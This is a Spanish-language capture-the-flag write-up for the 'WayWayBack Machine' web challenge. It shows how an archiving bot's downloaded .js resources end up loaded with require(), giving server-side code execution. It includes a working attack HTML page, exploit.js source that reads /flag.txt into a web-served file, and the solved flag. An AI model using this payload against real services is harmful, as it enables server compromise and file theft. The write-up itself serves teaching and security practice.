WayWayBack Machine
Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | WayWayBack Machine |
| Categoría | Web |
| Contexto | "I got tired of having to dig around the internet for old files so I started archiving them myself." |
| Flag | bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10} |
Descripción del reto
La aplicación recibía una URL, un bot la visitaba y guardaba un snapshot del HTML. También descargaba recursos enlazados y luego los volvía a cargar.
Reconocimiento
El servidor parseaba los <link href="..."> del HTML capturado y descargaba cada recurso al directorio snapshots/. Si archivaba una página controlada por el atacante, también guardaba archivos elegidos por el atacante dentro de ese directorio.
La parte crítica aparecía cuando se visitaba cualquier snapshot existente.
Análisis
Antes de servir un snapshot, la aplicación recorría el contenido de SNAPSHOTS_DIR y hacía require() de cualquier archivo .js encontrado allí.
async function preloadSnapshotResources() {
const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
for (const entry of entries) {
if (path.extname(entry.name) === ".js") {
require(filePath);
}
}
}
Como el bot descargaba recursos externos al mismo directorio del que luego Node cargaba archivos JavaScript, era posible dejar un .js malicioso en snapshots/ y conseguir ejecución de código en el servidor.
La cadena de ataque quedaba así.
- Publicar una página propia con un
<link>apuntando a un.js. - Hacer que el bot archive esa página.
- Esperar a que el
.jsquede guardado ensnapshots/. - Visitar cualquier snapshot para disparar el
require(). - Leer
/flag.txty escribirlo en otro archivo accesible desde la web.
El problema era que el sistema descargaba contenido controlado por el usuario y luego lo ejecutaba.
Resolución
La página maliciosa podía ser tan simple como esta.
<html>
<head>
<link rel="stylesheet" href="/exploit.js">
</head>
<body>
<p>Archiving this page</p>
</body>
</html>
Y el exploit.js podía ser este.
const fs = require("fs");
const path = require("path");
try {
const flag = fs.readFileSync("/flag.txt", "utf8");
fs.writeFileSync(
path.join(__dirname, "flag_exfil.html"),
`<html><body><h1>${flag}</h1></body></html>`
);
} catch (e) {}
Después solo hacía falta seguir estos pasos.
- Exponer ese contenido en una URL pública.
- Enviarla al endpoint que crea snapshots.
- Esperar a que el proceso terminara.
- Visitar un snapshot para disparar la carga del
.js. - Abrir
/snapshot/flag_exfily leer la flag.
El directorio usado para guardar recursos también terminaba siendo un lugar desde donde se ejecutaba código.
Flag
bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}